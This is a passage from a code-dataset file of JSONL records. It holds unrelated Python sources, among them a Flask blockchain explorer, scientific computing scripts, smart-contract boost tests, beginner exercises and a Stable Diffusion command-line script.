SklearnClassifier(LogisticRegression())\nLogisticRegression_classifier.train(training_set)\nprint(\"LogisticRegression_classifier accuracy percent:\", (nltk.classify.accuracy(LogisticRegression_classifier, testing_set))*100)\n\nwith open(\"logreg_classifier.pickle\",\"wb\") as save_classifier:\n pickle.dump(LogisticRegression_classifier, save_classifier)\n save_classifier.close()\n","sub_path":"classifiers/logreg_classifier.py","file_name":"logreg_classifier.py","file_ext":"py","file_size_in_byte":2383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"164854857","text":"# coding=utf-8\nfrom flask import render_template, redirect\n\nfrom . import main\nfrom .forms import SearchForm\nfrom .rpc_call import *\n\n\ndef search_redirect(form):\n network_data = get_info()\n if form.validate_on_submit():\n search_data = str(form.search_content.data).strip()\n if len(search_data) != 64:\n # could be a block height\n try:\n block_height = int(search_data)\n except:\n return False, None\n if 0 <= block_height <= network_data['topo_height']:\n return True, '/block/{}'.format(block_height)\n else:\n input_hash = str(search_data)\n tx_valid, tx_data = load_tx_info(search_data)\n if tx_valid:\n return True, '/tx/{}'.format(input_hash)\n block_valid, block_data = load_block_info(input_hash)\n if block_valid:\n return True, '/block/{}'.format(input_hash)\n return False, None\n\n\n@main.route('/', methods=['GET', 'POST'])\ndef index():\n form = SearchForm()\n jump, url = search_redirect(form)\n if jump:\n return redirect(url)\n network_data = get_info()\n block_list = list()\n for i in range(network_data['topo_height'] - 10, network_data['topo_height']):\n _, block_data = load_block_info(i)\n block_list.append(block_data)\n block_list = reversed(block_list)\n return render_template('index.html', network_data=network_data, block_list=block_list, form=form)\n\n\n@main.route('/block/', methods=['GET', 'POST'])\ndef block(block_hash_height):\n form = SearchForm()\n network_data = get_info()\n valid_block, block_info = load_block_info(block_hash_height)\n if valid_block:\n pre_block = block_info['topo_height'] - 1\n next_block = block_info['topo_height'] + 1\n return render_template('block.html', network_data=network_data, pre_block=pre_block, next_block=next_block,\n block_info=block_info, form=form)\n else:\n return redirect('/')\n\n\n@main.route('/tx/', methods=['GET', 'POST'])\ndef tx(tx_hash):\n form = SearchForm()\n network_data = get_info()\n valid_tx, tx_info = load_tx_info(tx_hash)\n if valid_tx:\n _, block_data = load_block_info(tx_info['block_height'], fetch_size=False)\n if tx_info['reward'] > 0:\n mature_require = 60\n else:\n mature_require = 10\n unlocked_height = tx_info['block_height'] + mature_require\n percent = min(100, int((block_data['depth'] / mature_require) * 100))\n return render_template('tx.html', network_data=network_data, block_data=block_data,\n unlocked_height=unlocked_height, tx_info=tx_info, percent=percent,\n tx_hash=tx_hash, form=form)\n else:\n return redirect('/')\n","sub_path":"src/app/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"568233995","text":"import h5py\nfrom argparse import ArgumentParser\nimport glob\nimport sys\nimport numpy as np\n\nparser = ArgumentParser()\nparser.add_argument('sample',help='Sample to merge')\n\nargs = parser.parse_args()\n\nsamples = glob.glob(args.sample+'_*.h5')\n\nif len(samples) == 0: sys.exit(\"No files to merge\")\nprint(samples)\nmerge = None\nfor sample in sorted(samples):\n print (\"Processing {}\".format(sample))\n with h5py.File(sample,'r') as infile:\n data = infile['Data'][:]\n #print(\"Shape {}\".format(data.shape))\n if merge == None:\n merge = np.copy(data)\n else:\n merge = np.hstack((merge, data))\n #print(\"Merged shape {}\".format(merge.shape))\nwith h5py.File(args.sample+'.h5','w') as outfile:\n outfile['Data'] = merge\n print(\"Save to {}\".format(args.sample+'.h5','w'))\n\n\n\n\n \n","sub_path":"python/mergeH5.py","file_name":"mergeH5.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"295245491","text":"######################################\n# mestrado #\n# outubro 2019 #\n# smile -> input gaussian #\n# patch 0.8 #\n# mateus m z toledo #\n######################################\n\nimport openbabel as ob\nfrom openbabel import pybel\nimport Gaussian_autorun as ga\nfrom pathlib import Path\nimport os\npath = os.getcwd()\n\n## define o caminho até a pasta e o cálculo\nname = 'opt'\ncalc = ['8', #processadores\n '16', #memoria em GB\n '#p opt=tight int=ultrafine b3lyp/6-31g(d)'] # calculo\n\nopt = ga.Gaussian_autorun(path, name, calc)\n#opt.Inputs()\nopt.Run() #so funciona se não tiver .log\nopt.Error()\n\n\nprint('==============================')\n\nname = 'freq' #nome no começo do arquivo\ncalc = ['8', #processadores\n '16', #memoria em GB\n '#p freq b3lyp/6-31g(d) scale=0.977'] # calculo\n\n\nfreq = ga.Gaussian_autorun(path, name, calc)\nfreq.Inputs() #cria o arquivo a partir da estrutura otimizada, NÃO usar OptInputs()\nfreq.Run()\nfreq.Error()\n\nprint('==============================')\n\nname = 'mp2' #nome no começo do arquivo\ncalc = ['8', #processadores\n '16', #memoria em GB\n '#p sp mp2/6-31g(d) IOp(3/125=0333312000)'] # calculo\n\n\nmp2 = ga.Gaussian_autorun(path, name, calc)\nmp2.Inputs() #cria o arquivo a partir da estrutura otimizada, NÃO usar OptInputs()\nmp2.Run()\nmp2.Error()\n\nprint('==============================')\n\nname = 'ccsd' #nome no começo do arquivo\ncalc = ['8', #processadores\n '16', #memoria em GB\n '#p sp ccsd/6-31g(d)'] # calculo\n\n\nccsd = ga.Gaussian_autorun(path, name, calc)\nccsd.Inputs() #cria o arquivo a partir da estrutura otimizada, NÃO usar OptInputs()\nccsd.Run()\nccsd.Error()\n\nprint('==============================')\n\nname = 'pvtz' #nome no começo do arquivo\ncalc = ['8', #processadores\n '16', #memoria em GB\n '#p sp mp2/cc-pvtz IOp(3/125=0333312000)'] # calculo\n\n\npvtz = ga.Gaussian_autorun(path, name, calc)\npvtz.Inputs() #cria o arquivo a partir da estrutura otimizada, NÃO usar OptInputs()\npvtz.Run()\npvtz.Error()\n\nprint('==============================')\n\nname = 'pvdz' #nome no começo do arquivo\ncalc = ['8', #processadores\n '16', #memoria em GB\n '#p sp mp2/cc-pvdz IOp(3/125=0333312000)'] # calculo\n\n\npvdz = ga.Gaussian_autorun(path, name, calc)\npvdz.Inputs() #cria o arquivo a partir da estrutura otimizada, NÃO usar OptInputs()\npvdz.Run()\npvdz.Error()\n\nprint('==============================')\n\nname = 'mst' #nome no começo do arquivo\ncalc = ['8', #processadores\n '16', #memoria em GB\n '#p sp b3lyp/6-31g(d) scrf=(read,solvent=water) iop(5/33=2)'] # calculo\n\n\n#mst = ga.Gaussian_autorun(path, name, calc)\n#mst.Inputs() #cria o arquivo a partir da estrutura otimizada, NÃO usar OptInputs()\n#mst.Run()\n#mst.Error()\n\nprint('==============================')\n\nname = 'smd' #nome no começo do arquivo\ncalc = ['8', #processadores\n '16', #memoria em GB\n '#p sp b3lyp/6-31g(d) SCRF(SMD,Solvent=Water)'] # calculo\n\n\nsmd = ga.Gaussian_autorun(path, name, calc)\nsmd.Inputs() #cria o arquivo a partir da estrutura otimizada, NÃO usar OptInputs()\nsmd.Run()\nsmd.Error()\n","sub_path":"runpKa.py","file_name":"runpKa.py","file_ext":"py","file_size_in_byte":3198,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"405644426","text":"import sample_images\nimport train\n\nif __name__ == '__main__':\n # ======================================================================\n # STEP 0: Here we provide the relevant parameters values that will\n # allow your sparse autoencoder to get good filters; you do not need to\n # change the parameters below.\n visible_size = 64\n hidden_size = 25\n sparsity_param = 0.01\n lambda_ = 1e-3\n beta = 3\n debug = False\n\n # ======================================================================\n # STEP 1: Implement sampleIMAGES\n #\n # After implementing sampleIMAGES, the display_network command should\n # display a random sample of 200 patches from the dataset\n patches = sample_images.sample_images()\n train.train(visible_size, hidden_size, sparsity_param, lambda_, beta, debug, patches)\n","sub_path":"ex_1_sparse_autoencoder.py","file_name":"ex_1_sparse_autoencoder.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"22150838","text":"import sys\nimport torch\nfrom copy import copy\n\nimport utils\n\n\nclass Net(torch.nn.Module):\n\n def __init__(self, inputsize, taskcla, nlayers=2, nhid=256, pdrop1=0.2, pdrop2=0.5):\n super(Net, self).__init__()\n\n ncha, size = 1, inputsize[0]\n self.taskcla = taskcla\n\n self.nlayers = nlayers\n\n self.softmax = torch.nn.Softmax(dim = 1)\n\n self.relu = torch.nn.ReLU()\n self.drop1 = torch.nn.Dropout(pdrop1)\n self.drop2 = torch.nn.Dropout(pdrop2)\n\n self.fc1 = torch.nn.Linear(size, nhid)\n self.efc1 = torch.nn.Embedding(len(self.taskcla), nhid)\n\n if nlayers > 1:\n self.fc2 = torch.nn.Linear(nhid, nhid)\n self.efc2 = torch.nn.Embedding(len(self.taskcla), nhid)\n if nlayers > 2:\n self.fc3 = torch.nn.Linear(nhid, nhid)\n self.efc3 = torch.nn.Embedding(len(self.taskcla), nhid)\n self.last = torch.nn.ModuleList()\n for t, n in self.taskcla:\n self.last.append(torch.nn.Linear(nhid, n))\n\n self.gate = torch.nn.Sigmoid()\n \"\"\" (e.g., used with compression experiments)\n lo,hi=0,2\n self.efc1.weight.data.uniform_(lo,hi)\n self.efc2.weight.data.uniform_(lo,hi)\n self.efc3.weight.data.uniform_(lo,hi)\n #\"\"\"\n\n return\n\n def forward(self, t, x, s=1, test=False):\n # Gates\n\n if not test:\n # masks = self.mask(t, s=s)\n # if self.nlayers == 1:\n # gfc1 = masks\n # elif self.nlayers == 2:\n # gfc1, gfc2 = masks\n # elif self.nlayers == 3:\n # gfc1, gfc2, gfc3 = masks\n # # Gated\n # h = self.drop1(x.view(x.size(0), -1))\n # h = self.drop2(self.relu(self.fc1(h)))\n #\n #\n # h = h * gfc1.expand_as(h)\n # if self.nlayers > 1:\n # h = self.drop2(self.relu(self.fc2(h)))\n # h = h * gfc2.expand_as(h)\n # if self.nlayers > 2:\n # h = self.drop2(self.relu(self.fc3(h)))\n # h = h * gfc3.expand_as(h)\n # y = []\n # for t, i in self.taskcla:\n # y.append(self.last[t](h))\n # return y, masks\n\n\n\n masks = self.mask(t=t, s=s ) #, test=False) # 2,5,1,256\n #print(masks.shape)\n\n # Gated\n h = self.drop1(x.view(x.size(0), -1))\n h = self.drop2(self.relu(self.fc1(h)))\n\n h = h.expand((t+1, -1, 256)) * masks[0].expand((-1, h.shape[0], h.shape[1]))\n h = self.drop2(self.relu(self.fc2(h)))\n # print(h.shape)\n h = h.expand((t+1, -1, 256)) * masks[1].expand_as(h)\n\n y = []\n for tt in range(t+1):# self.taskcla:\n y.append(self.last[tt](h[tt]))\n # if y is None:\n # y = (self.last[tt](h[tt]))\n # else:\n # y = torch.cat((y, (self.last[tt](h[tt]))), 1)\n\n return y, [masks[0,t].view(-1,256), masks[1,t].view(-1,256)]\n\n\n else:\n\n masks = self.mask(t=t, s=s ) #, test = True) # 2,5,1,256\n\n\n # Gated\n h = self.drop1(x.view(x.size(0), -1))\n h = self.drop2(self.relu(self.fc1(h)))\n\n #print(\"H: \", h.expand((5,-1,256)).shape)\n #print(\"Mask: \", masks[0].expand((-1, h.shape[0], h.shape[1])).shape )\n\n h = h.expand((t+1,-1,256)) * masks[0].expand((-1, h.shape[0], h.shape[1]))\n #h = h * gfc1.expand_as(h)\n\n h = self.drop2(self.relu(self.fc2(h)))\n #print(h.shape)\n h = h.expand((t+1,-1,256)) * masks[1].expand_as(h)\n y = None\n for tt in range(t+1): #self.taskcla:\n if y is None:\n if t==0: y = ( self.last[tt](h[tt]) ) #self.softmax( self.last[tt](h[tt]) )\n else: y = ( self.last[tt](h[tt]) )\n else:\n if t==0: y = torch.cat((y, self.last[tt](h[tt])),1) #self.softmax(self.last[tt](h[tt]))),1)\n else: y = torch.cat((y, self.last[tt](h[tt])),1)\n\n #print(y.shape)\n\n return y, masks\n\n\n\n\n\n def mask(self, t, s=1 ): #, test = False):\n #if not test:\n l1 = []\n l2 = []\n for tt in range(t+1):\n ttt = torch.autograd.Variable(torch.LongTensor([tt]).cuda())\n if tt == t:\n l1.append(self.efc1(ttt))\n l2.append(self.efc2(ttt))\n else:\n l1.append(copy(self.efc1(ttt)))\n l2.append(copy(self.efc2(ttt)))\n mask = self.gate(s * torch.stack((torch.stack(l1), torch.stack(l2))))\n\n # else:\n # l1 = []\n # l2 = []\n # for t in range(len(self.last)):\n # t = torch.autograd.Variable(torch.LongTensor([t]).cuda())\n # l1.append(self.efc1(t))\n # l2.append(self.efc2(t))\n # mask = self.gate(s * torch.stack((torch.stack(l1), torch.stack(l2))))\n #äprint(mask.shape)\n return mask\n\n\n\n def get_view_for(self, n, masks):\n if self.nlayers == 1:\n gfc1 = masks\n elif self.nlayers == 2:\n gfc1, gfc2 = masks\n elif self.nlayers == 3:\n gfc1, gfc2, gfc3 = masks\n if n == 'fc1.weight':\n return gfc1.data.view(-1, 1).expand_as(self.fc1.weight)\n elif n == 'fc1.bias':\n return gfc1.data.view(-1)\n elif n == 'fc2.weight':\n post = gfc2.data.view(-1, 1).expand_as(self.fc2.weight)\n pre = gfc1.data.view(1, -1).expand_as(self.fc2.weight)\n return torch.min(post, pre)\n elif n == 'fc2.bias':\n return gfc2.data.view(-1)\n elif n == 'fc3.weight':\n post = gfc3.data.view(-1, 1).expand_as(self.fc3.weight)\n pre = gfc2.data.view(1, -1).expand_as(self.fc3.weight)\n return torch.min(post, pre)\n elif n == 'fc3.bias':\n return gfc3.data.view(-1)\n return None\n\n","sub_path":"src/networks/hat_smnist_conf.py","file_name":"hat_smnist_conf.py","file_ext":"py","file_size_in_byte":6113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"297157796","text":"import random as rd\n\nch0 = \"GATGCATTAGTAAGGGGTAGA\"\n\n# exo 1\ndef ADN(n):\n chaine = \"\"\n for i in range(n):\n chaine += rd.choice('ACGT')\n return chaine\n\n# exo 2\ndef nb_lettres(chaine, lettre):\n compteur = 0\n for char in chaine:\n if char == lettre:\n compteur += 1\n return compteur\n\n# exo 3\ndef composition(chaine):\n char_possible = ['A', 'C', 'G', 'T', 'B']\n compteurs = [0]*len(char_possible)\n for char in chaine:\n index = char_possible.index(char)\n if index >= 0:\n compteurs[index] += 1\n for i in range(len(char_possible)):\n freq = compteurs[i]\n print(freq, 'fois', char_possible[i], ', soit', freq*100/len(chaine), '%')\n\n# exo 4\ndef renserse(chaine):\n chaine_reverse = ''\n for i in range(len(chaine)-1, -1, -1):\n chaine_reverse += chaine[i]\n return chaine_reverse\n\n# exo 5\ndef changement(chaine, k, car):\n return chaine[:k] + car + chaine[k+1:]\n\n# exo 6\ndef mutation(chaine):\n random_index = rd.randint(0, len(chaine)-1)\n char_remplace = ['A', 'C', 'G', 'T']\n char_remplace.remove(chaine[random_index])\n return changement(chaine, random_index, rd.choice(char_remplace))\n\n# exo 7\ndef mutations(chaine, T):\n chaine_mutee = chaine\n nb_mutations = int(1.5e-2*len(chaine)*T)\n for i in range(nb_mutations):\n chaine_mutee = mutation(chaine_mutee)\n return chaine_mutee\n\n# exo 8\ndef mutationK(chaine):\n random_index = rd.randint(0, len(chaine)-1)\n ancien_char = chaine[random_index]\n char_remplace = ''\n random_nb = rd.random()\n if random_nb <= 2/3:\n if ancien_char == 'A':\n char_remplace = 'G'\n if ancien_char == 'G':\n char_remplace = 'A'\n if ancien_char == 'C':\n char_remplace = 'T'\n if ancien_char == 'T':\n char_remplace = 'C'\n else:\n if ancien_char in 'AG':\n char_remplace = rd.choice('CT')\n if ancien_char in 'CT':\n char_remplace = rd.choice('AG')\n return changement(chaine, random_index, char_remplace)\n\n# exo 9\ndef difference(ch1, ch2):\n return_string = ''\n for i in range(len(ch1)):\n if ch1[i] == ch2[i]:\n return_string += ' '\n else:\n return_string += 'X'\n print(ch1 + '\\n' + ch2 + '\\n' + return_string)","sub_path":"tp_XII/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"293651773","text":"import random\r\nimport sys\r\n\r\nalphabet = \" ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz.,?!@#$%^&*':;()1234567890-=+<>-_/[]\"\r\naddfactor = 15\r\nadditionals = 10\r\n\r\ndef encryption(alphabet,addfactor,additionals):\r\n message = input(\"Mesage:\\n\\n\")\r\n \r\n alphabetnums = range(0,27)\r\n encryptout = []\r\n\r\n # ENCRYPTION\r\n\r\n for letter in message:\r\n indexnum = alphabet.index(letter) # translate the letter to respective number\r\n indexnum += addfactor # add a bit to the number\r\n encryptout = encryptout + [indexnum] # add the number to the output list\r\n for num in range(0,additionals): # add in \"additionals\" amount of fake nums\r\n encryptout = encryptout + [random.choice(alphabetnums)+addfactor]\r\n\r\n encryptout = encryptout + [addfactor]\r\n encryptout = encryptout + [additionals] # these add the addfactor and additionals\r\n # values to the end so the decryptor can\r\n # use them in reversing the process\r\n\r\n\r\n # output is made into an easy to copy/paste \"string\"\r\n # (because input wouldn't recognize a list with \"[ , ]\" to be a list,\r\n # instead it would just read it as a string. so we prepare for that here\r\n\r\n print('\\n\\nEncryption:\\n\\n', *encryptout, sep='-')\r\n \r\ndef decryption(alphabet):\r\n encrypted = input(\"Enter encrypted text\\n\\n\")\r\n\r\n # --------------------------------------------------------------------\r\n # DECRYPTION\r\n\r\n encrypted = encrypted.replace('-','',1) # removes first dash\r\n encryptout = encrypted.split(\"-\") # separates into list by dashes\r\n # print(encryptout)\r\n\r\n decryptout = []\r\n\r\n additionals = int(encryptout[-1])\r\n addfactor = int(encryptout[-2])\r\n\r\n del(encryptout[-1])\r\n del(encryptout[-1]) # these get rid of the additionals and addfactor keys\r\n\r\n # print(\"\\nafter removing additionals and addfactor:\")\r\n # print(encryptout)\r\n\r\n encryptlength = len(encryptout)\r\n\r\n messagelocation = []\r\n for num in range(0,encryptlength,additionals+1):# additionals is how many values to skip \r\n messagelocation = messagelocation + [num] # identify the indexes of \r\n # each relevant value \r\n # (ignoring additionals)\r\n\r\n # print(\"\\nThis is the message locations:\")\r\n # print(messagelocation)\r\n\r\n newlist = []\r\n for x in messagelocation: # uses location indexes to take relevant values\r\n realnum = encryptout[x] # and put them into a new list\r\n newlist = newlist + [realnum]\r\n # print(\"\\nThese are the important numbers\")\r\n # print(newlist)\r\n\r\n for num in newlist:\r\n num = int(num) - addfactor # subtracts number added to each value to get real\r\n decryptout += [alphabet[num]] # value, then translates using alphabet and adds to output\r\n decryptout = \"\".join(decryptout) # this outputs without list format\r\n\r\n print(\"\\n\\nDecrpytion:\\n\\n\",decryptout)\r\n\r\n\r\nloop = True\r\nwhile loop:\r\n mode = input('\\nAre you [e]ncrypting or [d]ecrypting?\\n')\r\n\r\n if mode == 'e':\r\n encryption(alphabet,addfactor,additionals)\r\n elif mode == 'd':\r\n decryption(alphabet)\r\n else:\r\n print('\\tYou must type only \"e\" or \"d\"')\r\n","sub_path":"dual-encrypt-decrypt.py","file_name":"dual-encrypt-decrypt.py","file_ext":"py","file_size_in_byte":3369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"568206850","text":"import jinja2\nimport os\nimport webapp2\n\n\njinja_environment = jinja2.Environment(loader=\n jinja2.FileSystemLoader(os.path.dirname(__file__)))\n\n\nclass MainHandler(webapp2.RequestHandler):\n def get(self):\n template_vars = {\n 'names': ['John', 'Paul', 'George', 'Ringo']}\n template = jinja_environment.get_template('templates/main.html')\n self.response.write(template.render(template_vars))\n\n\napp = webapp2.WSGIApplication([\n ('/', MainHandler),\n], debug=True)\n","sub_path":"src/example09/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"614434211","text":"import math\n\nimport brownie\nimport pytest\nfrom brownie import ZERO_ADDRESS, convert\n\npytestmark = pytest.mark.usefixtures(\"lock_alice\")\n\n\nDAY = 86400\nWEEK = DAY * 7\n\n\ndef test_create_a_boost(alice, bob, chain, alice_unlock_time, veboost, vecrv):\n veboost.create_boost(alice, bob, 10_000, 0, alice_unlock_time, 0, {\"from\": alice})\n token_id = convert.to_uint(alice.address) << 96\n\n with brownie.multicall(block_identifier=chain.height):\n alice_adj_balance = veboost.adjusted_balance_of(alice)\n bob_adj_balance = veboost.adjusted_balance_of(bob)\n\n alice_delgated_boost = veboost.delegated_boost(alice)\n bob_received_boost = veboost.received_boost(bob)\n\n alice_vecrv_balance = vecrv.balanceOf(alice)\n token_boost_value = veboost.token_boost(token_id)\n\n assert alice_adj_balance == 0\n assert bob_adj_balance == alice_vecrv_balance\n assert bob_received_boost == alice_delgated_boost\n assert token_boost_value == alice_delgated_boost\n assert veboost.token_expiry(token_id) == (alice_unlock_time // WEEK) * WEEK\n\n\ndef test_create_a_boost_updates_delegator_enumeration(alice, bob, alice_unlock_time, veboost):\n veboost.create_boost(alice, bob, 10_000, 0, alice_unlock_time, 0, {\"from\": alice})\n token_id = convert.to_uint(alice.address) << 96\n\n assert veboost.total_minted(alice) == 1\n assert veboost.token_of_delegator_by_index(alice, 0) == token_id\n\n\ndef test_boost_self(alice, chain, alice_unlock_time, veboost, vecrv):\n veboost.create_boost(alice, alice, 10_000, 0, alice_unlock_time, 0, {\"from\": alice})\n\n with brownie.multicall(block_identifier=chain.height):\n alice_adj_balance = veboost.adjusted_balance_of(alice)\n alice_vecrv_balance = vecrv.balanceOf(alice)\n\n assert alice_adj_balance == alice_vecrv_balance\n\n\ndef test_operator_can_create_boost(alice, bob, chain, alice_unlock_time, veboost, vecrv):\n veboost.setApprovalForAll(bob, True, {\"from\": alice})\n veboost.create_boost(alice, bob, 10_000, 0, alice_unlock_time, 0, {\"from\": bob})\n\n with brownie.multicall(block_identifier=chain.height):\n alice_adj_balance = veboost.adjusted_balance_of(alice)\n bob_adj_balance = veboost.adjusted_balance_of(bob)\n alice_vecrv_balance = vecrv.balanceOf(alice)\n\n assert alice_adj_balance == 0\n assert bob_adj_balance == alice_vecrv_balance\n\n\ndef test_invalid_slope(alice, charlie, chain, crv, vecrv, veboost):\n # slope can be equal to 0 due to integer division, as the\n # amount of boost we are delegating is divided by the length of the\n # boost period, in which case if abs(y) < boost period, the slope will be 0\n amount = (DAY * 365 * 4 // WEEK) * WEEK # very small amount\n unlock_time = ((chain.time() + amount) // WEEK) * WEEK\n crv.transfer(charlie, amount * 10, {\"from\": alice})\n crv.approve(vecrv, amount * 10, {\"from\": charlie})\n vecrv.create_lock(amount * 10, unlock_time, {\"from\": charlie})\n\n with brownie.reverts(dev_revert_msg=\"dev: invalid slope\"):\n veboost.create_boost(charlie, alice, 1_000, 0, unlock_time, 0, {\"from\": charlie})\n\n\n@pytest.mark.parametrize(\"percentage\", range(1, 10, 1))\ndef test_varying_percentage_of_available_boost(\n alice, bob, chain, alice_unlock_time, veboost, vecrv, percentage\n):\n veboost.create_boost(\n alice, bob, int(10_000 * percentage / 10), 0, alice_unlock_time, 0, {\"from\": alice}\n )\n\n with brownie.multicall(block_identifier=chain.height):\n alice_adj_balance = veboost.adjusted_balance_of(alice)\n bob_adj_balance = veboost.adjusted_balance_of(bob)\n alice_vecrv_balance = vecrv.balanceOf(alice)\n\n assert math.isclose(alice_adj_balance, alice_vecrv_balance * (1 - percentage / 10))\n assert math.isclose(bob_adj_balance, alice_vecrv_balance * percentage / 10)\n\n\ndef test_negative_outstanding_boosts(alice, chain, alice_unlock_time, veboost):\n expiry = ((chain.time() // WEEK) * WEEK) + 2 * WEEK\n veboost.create_boost(alice, alice, 10_000, 0, expiry, 0, {\"from\": alice})\n chain.mine(timestamp=expiry + 1)\n with brownie.reverts(dev_revert_msg=\"dev: negative boost token is in circulation\"):\n veboost.create_boost(alice, alice, 5_000, 0, alice_unlock_time, 1, {\"from\": alice})\n\n\ndef test_no_boost_available_to_delegate_reverts(alice, alice_unlock_time, veboost):\n veboost.create_boost(alice, alice, 10_000, 0, alice_unlock_time, 0, {\"from\": alice})\n with brownie.reverts(dev_revert_msg=\"dev: no boost\"):\n veboost.create_boost(alice, alice, 5_000, 0, alice_unlock_time, 1, {\"from\": alice})\n\n\ndef test_implicit_token_existence_check(alice, alice_unlock_time, veboost):\n veboost.create_boost(alice, alice, 10_000, 0, alice_unlock_time, 0, {\"from\": alice})\n with brownie.reverts(dev_revert_msg=\"dev: token exists\"):\n veboost.create_boost(alice, alice, 10_000, 0, alice_unlock_time, 0, {\"from\": alice})\n\n\ndef test_id_out_of_bounds(alice, alice_unlock_time, veboost):\n with brownie.reverts(dev_revert_msg=\"dev: id out of bounds\"):\n veboost.create_boost(alice, alice, 10_000, 0, alice_unlock_time, 2 ** 96, {\"from\": alice})\n\n\ndef test_expire_time_after_lock_expiry_reverts(alice, vecrv, veboost):\n with brownie.reverts(dev_revert_msg=\"dev: boost expiration is past voting escrow lock expiry\"):\n veboost.create_boost(\n alice, alice, 10_000, 0, vecrv.locked__end(alice) + WEEK, 0, {\"from\": alice}\n )\n\n\ndef test_expire_time_below_min_time_reverts(alice, chain, veboost):\n with brownie.reverts(dev_revert_msg=\"dev: boost duration must be atleast WEEK\"):\n veboost.create_boost(alice, alice, 10_000, 0, chain.time() + 3600, 0, {\"from\": alice})\n\n\ndef test_cancel_time_after_expiry_reverts(alice, alice_unlock_time, veboost):\n with brownie.reverts(dev_revert_msg=\"dev: cancel time is after expiry\"):\n veboost.create_boost(\n alice, alice, 10_000, alice_unlock_time + 1, alice_unlock_time, 0, {\"from\": alice}\n )\n\n\n@pytest.mark.parametrize(\n \"pct,msg\",\n [\n (0, \"dev: percentage must be greater than 0 bps\"),\n (10_001, \"dev: percentage must be less than 10_000 bps\"),\n ],\n)\ndef test_invalid_boost_percentage(alice, alice_unlock_time, veboost, pct, msg):\n with brownie.reverts(msg):\n veboost.create_boost(alice, alice, pct, 0, alice_unlock_time, 0, {\"from\": alice})\n\n\ndef test_boost_zero_address_reverts(alice, alice_unlock_time, veboost):\n with brownie.reverts(dev_revert_msg=\"dev: minting to ZERO_ADDRESS disallowed\"):\n veboost.create_boost(alice, ZERO_ADDRESS, 10_000, 0, alice_unlock_time, 0, {\"from\": alice})\n","sub_path":"tests/boosts/test_create_boost.py","file_name":"test_create_boost.py","file_ext":"py","file_size_in_byte":6607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"298558306","text":"class MultiplyListElements:\n l = [1, 2, 3]\n nl = []\n def __init__(self, n):\n self.n = n\n def multipliedlist(self):\n nl = [nl * self.n for nl in self.l]\n print(nl)\nm = MultiplyListElements(4)\nm.multipliedlist()","sub_path":"RealPractice/MultiplyListElements.py","file_name":"MultiplyListElements.py","file_ext":"py","file_size_in_byte":242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"153777383","text":"\n\nfrom xai.brain.wordbase.verbs._knight import _KNIGHT\n\n#calss header\nclass _KNIGHTED(_KNIGHT, ):\n\tdef __init__(self,): \n\t\t_KNIGHT.__init__(self)\n\t\tself.name = \"KNIGHTED\"\n\t\tself.specie = 'verbs'\n\t\tself.basic = \"knight\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/verbs/_knighted.py","file_name":"_knighted.py","file_ext":"py","file_size_in_byte":240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"320249119","text":"def normalize(name):\n return map(lambda x: x.capitalize(), name)\n\nL1 = ['adam', 'LISA', 'barT']\nL2 = list(normalize(L1))\nprint(L2)\n#L3 = 'AaROOR'\n#print(L3)\n#print(L3.capitalize())\n#print(L3.upper())\n\nfrom functools import reduce\n\ndef prod(L):\n return reduce(lambda x, y: x * y, L)\n\nL = [2, 1.2, 3, 10]\nprint(prod(L))\n\nCHAR_TO_FLOAT = {\n '0': 0,\n '1': 1,\n '2': 2,\n '3': 3,\n '4': 4,\n '5': 5,\n '6': 6,\n '7': 7,\n '8': 8,\n '9': 9,\n }\n\ndef str2num(s):\n return CHAR_TO_FLOAT[s]\n\nimport math\n\ndef str2float(s):\n nums = []\n for i in s:\n if i != '.':\n nums.append(i)\n print(nums)\n return reduce(lambda x, y: x * 10 + y, map(str2num, nums)) / pow(10, len(s) - s.index('.') -1)\n\ns1 = input('get input:')\ns2 = str2float(s1)\nprint(s2)\nprint(isinstance(s2, float))\n","sub_path":"Python/Basic/map-reduce.py","file_name":"map-reduce.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"380678424","text":"from tensorflow import keras\nfrom stable_diffusion_tensorflow.stable_diffusion import Text2Image\nimport argparse\nfrom PIL import Image\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument(\n \"--prompt\",\n type=str,\n nargs=\"?\",\n default=\"a painting of a virus monster playing guitar\",\n)\n\nparser.add_argument(\n \"--output\",\n type=str,\n nargs=\"?\",\n default=\"output.png\",\n help=\"where to save the output image\",\n)\n\nparser.add_argument(\n \"--H\",\n type=int,\n default=512,\n help=\"image height, in pixels\",\n)\n\nparser.add_argument(\n \"--W\",\n type=int,\n default=512,\n help=\"image width, in pixels\",\n)\n\nparser.add_argument(\n \"--scale\",\n type=float,\n default=7.5,\n help=\"unconditional guidance scale: eps = eps(x, empty) + scale * (eps(x, cond) - eps(x, empty))\",\n)\n\nparser.add_argument(\n \"--steps\", type=int, default=50, help=\"number of ddim sampling steps\"\n)\n\nparser.add_argument(\n \"--seed\",\n type=int,\n help=\"optionally specify a seed integer for reproducible 